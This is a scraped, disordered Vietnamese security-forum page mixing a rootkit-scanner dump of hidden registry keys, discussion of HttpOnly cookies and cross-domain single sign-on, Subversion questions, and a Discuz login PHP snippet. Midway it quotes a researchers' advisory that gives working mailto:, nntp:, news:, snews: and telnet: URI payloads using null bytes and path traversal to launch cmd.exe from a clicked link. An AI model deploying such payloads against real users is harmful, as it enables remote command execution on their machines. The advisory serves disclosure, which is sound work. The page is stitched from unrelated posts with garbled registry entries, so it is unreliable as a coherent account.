Object-Name: 0Jf40M\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001\0Jf40
Status: Hidden
Object-Type: Registry-value
Object-Name: (Default)
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001\0Jf40
Status: Unable to access registry key
Object-Type: Registry-value
Object-Name: khjeh
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001\0Jf40
Status: Hidden
Object-Type: Registry-value
Object-Name: a0
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001
Status: Hidden
Object-Type: Registry-value
Object-Name: khjeh
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001
Status: Hidden
Object-Type: Registry-value
Object-Name: p0
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Status: Hidden
Object-Type: Registry-value
Object-Name: h0
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Status: Hidden
Object-Type: Registry-value
Object-Name: khjeh
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Status: Hidden
Object-Type: Registry-value
Object-Name: s1
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg
Status: Hidden
Object-Type: Registry-value
Object-Name: s2
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg
Status: Hidden
Object-Type: Registry-value
Object-Name: g0
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg
Status: Hidden
Object-Type: Registry-value
Object-Name: h0
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg
Status: Hidden
Object-Type: Registry-key
Object-Name: DataEM\ControlSet001\Services\sptd\Cfg
Object-Path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Protected Storage System Provider\*Local Machine*\Data
Status: Hidden
Object-Type: Registry-key
Object-Name: a5c5c2e4-6bee-4ef9-a0f5-f76a07cce771 System Provider\*Local Machine*\Data
Object-Path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Protected Storage System Provider\*Local Machine*\Data\a5c5c2e4-6bee-4ef9-a0f5-f76a07cce771
Status: Hidden
Object-Type: Registry-key
Object-Name: 00000000-0000-0000-0000-000000000000 System Provider\*Local Machine*\Data\a5c5c2e4-6bee-4ef9-a0f5-f76a07cce771
Object-Path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Protected Storage System Provider\*Local Machine*\Data\a5c5c2e4-6bee-4ef9-a0f5-f76a07cce771\00000000-0000-0000-0000-000000000000
Status: Hidden
Object-Type: Registry-key
Object-Name: {6340E680-FF06-435f-8767-B79D88AEBD4D}ystem Provider\*Local Machine*\Data\a5c5c2e4-6bee-4ef9-a0f5-f76a07cce771\00000000-0000-0000-0000-000000000000
Object-Path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Protected Storage System Provider\*Local Machine*\Data\a5c5c2e4-6bee-4ef9-a0f5-f76a07cce771\00000000-0000-0000-0000-000000000000\{6340E680-FF06-435f-8767-B79D88AEBD4D}
Status: Hidden
Object-Type: Registry-value
Object-Name: Item Data
Object-Path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Protected Storage System Provider\*Local Machine*\Data\a5c5c2e4-6bee-4ef9-a0f5-f76a07cce771\00000000-0000-0000-0000-000000000000\{6340E680-FF06-435f-8767-B79D88AEBD4D}
Status: Hidden
Object-Type: Registry-value
Object-Name: Display String
Object-Path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Protected Storage System Provider\*Local Machine*\Data\a5c5c2e4-6bee-4ef9-a0f5-f76a07cce771\00000000-0000-0000-0000-000000000000
Status: Hidden
Object-Type: Registry-value
Object-Name: Display String
Object-Path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Protected Storage System Provider\*Local Machine*\Data\a5c5c2e4-6bee-4ef9-a0f5-f76a07cce771
Status: Hidden
Object-Type: Registry-key
Object-Name: Data 2RE\Microsoft\Protected Storage System Provider\*Local Machine*\Data\a5c5c2e4-6bee-4ef9-a0f5-f76a07cce771
Object-Path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Protected Storage System Provider\*Local Machine*\Data 2
Status: Hidden
Object-Type: Registry-key
Object-Name: WindowsE\Microsoft\Protected Storage System Provider\*Local Machine*\Data 2
Object-Path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Protected Storage System Provider\*Local Machine*\Data 2\Windows
Status: Hidden
Object-Type: Registry-value
Object-Name: Value
Object-Path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Protected Storage System Provider\*Local Machine*\Data 2\Windows
Status: Hidden
:cry:

KINYO wrote:

114v wrote:
Dạ ý em là phần multi domain và cái vụ XSS với cookie ạ. Còn cái passport kia đăng ký đã thấy chuối rồi 



Chuối là vì người ta làm không cẩn thận thôi.

Cái vụ XSS thì dùng Http-Only cookies là xong, khỏi nghĩ tới nó nữa. 


http://greebo.net/?p=364

Supported browsers:

* IE 6.0 SP1 and later - prevents reading, but not over-writing (still allows preset CSRF attacks)
* IE 7.0 - prevents reading and writing - safest
* Safari 1.3 - not support (update)
* Opera 8 and later - not supported (update)
* Mozilla - not supported
* Firefox - not supported
* IE 5.x for Mac - will actually fail to render the page. Use browser detection to encourage them to migrate to Safari or Firefox once it supports HttpOnly
 


HttpOnly-flag is not 100% protection against XSS. It's just another barrier of site protection. 





Để không nghĩ tới XSS thì hơi khó, HttpOnly cookie cũng có thể bị nghe trộm và tóm được và không phải trình duyệt nào cũng hỗ trợ, nó chỉ là extension của IE, không phải chuẩn thì phải smilie(
Dạ ý em là phần multi domain và cái vụ XSS với cookie ạ. Còn cái passport kia đăng ký đã thấy chuối rồi
Em mù toàn phần với cái này, từ cài đặt cho tới sử dụng. Document khó hiểu quá mức, tutorial thì không có, hic
Hic, không ai dùng Subversion để quản lý và theo dõi code hêt sao???
Không ai có giải pháp, cơ chế, ứng dụng mẫu nào sao?
By: Nate McFeters (nate dot mcfeters -at- gmail)
Billy (BK) Rios (billy dot rios -at- gmail)

Tested in FireFox 2.0.0.5 (and 3.0a6), Netscape Navigator 9, and Mozilla browser.

****NOTE**** These examples were created for WinXP SP2 with no external mail programs installed (outlook, notes…etc). If you have an external mail program installed, these examples may not work on your machine (as the URI handling may have changed).



Once again, a flaw in the URI handling behavior allows for remote command execution. UNREGISTER ALL UNNECESSARY URIs NOW! This example shows flaws in Firefox, Netscape, and Mozilla browsers… other browsers are affected by related vulnerabilities.



Developers who intend to (or have already) registered URIs for their applications MUST UNDERSTAND that registering a URI handler exponentially increases the attack surface for that application. Please review your registered URI handling mechanisms and audit the functionality called by those URIs…



These can be launched with no user warning (simply click on the link):
Code:
mailto:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat
nntp:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat
news:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat
snews:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat
telnet:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat
Đúng vậy, cái này chỉ là do Apache 1.x bị thôi, hú hồn smilie
Đúng rồi, hộ chiếu mà, đi khắp thế giới smilie

Các bước hoạt động:
- Nhận thông tin đăng nhập từ passport client.
- Gửi tới passport server để xác nhận.
- Tạo 1 key xác nhận lưu bằng cookie tại trang sử dụng passport.

Còn nếu muốn đăng nhập rồi, các trang khác ko cần nữa thì e hơi khó, cookie hồi giờ chỉ thấy dùng nhiều subdomain chứ không biết có multi domain hay không.

Hồi giờ đều thấy làm vậy. Nếu passport dùng cho nhiều trang, khó quản lý, nếu dính XSS, bị mất cookie thì chắc tiêu quá!
Em đang nghiên cứu để sử dụng CVS, Subversion. Có ai có kinh nghiệm xin chia sẻ với. Mò mãi với cái Zend Studio mà vẫn chưa dùng được :?)

learn2hack wrote:
Tại sao đường dẫn tuyệt đối lại "thừa" và "phí bandwidth" vậy 114v? 


http://us.i1.yimg.com/us.yimg.com/i/ww/beta/y3.gif
http://www.yahoo.com/r/e8

vs

us.yimg.com/i/ww/beta/y3.gif
r/e8

Nếu dùng SEF thì link càng dài nữa. Chẵng phải người ta nói làm tabless nhằm tiết kiệm bandwidth, pack javascript lại, dùng JSON thay cho XML dù tiết kiệm được ít, nhưng tích tiểu thành đại
Không biết nên dùng tương đối hay tuyệt đối, tuyết đối thì quá thừa, phải nói là hơi phí bandwidth nếu trang có nhiều link.
Các trang như yahoo, msn đều dùng tuyệt đối.
Không biết cái nào tốt hơn, phù hợp.

canh_nguyen wrote:
\n=newline
\t=tab

smilie)  


Mấy cái đó em biết rồi ạ,vậy em mới nói là debug cho dễ nhìn
Code:
<?php
require_once "includes/passport.inc.php";
if(empty($cookie_time))$cookie_time=0;
$autharray = array
(
'cookietime'=>$cookie_time,
'time' => time(),
'username' => $arr_user_info['user_nick'],
'password' => $arr_user_info['user_password'],
'email' => $arr_user_info['user_email'],
'regip' => $arr_user_info['last_login_ip'],
'regdate' => $arr_user_info['user_reg_time'],
'credits' => $arr_user_info['user_bonus']
);
$auth = passport_encrypt(passport_encode($autharray), $discuz_code);
$action = 'login';
$verify = md5($action.$auth.$forward.$discuz_code);
$forward=rawurlencode($forward);
$auth=rawurlencode($auth);
Header("Location: {$discuz_url}api/passport.php?action=$action&auth=$auth&forward=$forward&verify=$verify");
?>


Một đoạn mã để đăng nhập vào passport của forum Discuz
Cái này thì quá rõ ràng, Joomla khá là nặng, ngay cả những khách hàng không rành kỹ thuật cũng không thích dùng Joomla, nên giờ toàn dùng Wordpress thôi :lolsmilie

Open source nay cũng bắt tay với các hãng phần cứng rồi :cry:

Trong Joomla thấy mấy câu SQL thường nó \n \t trong đó không biết có tác dụng gì hay chỉ đơn thuần là để debug cho dễ nhìn.
 
Go to Page:  2 3 4 Page 5 Last Page

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|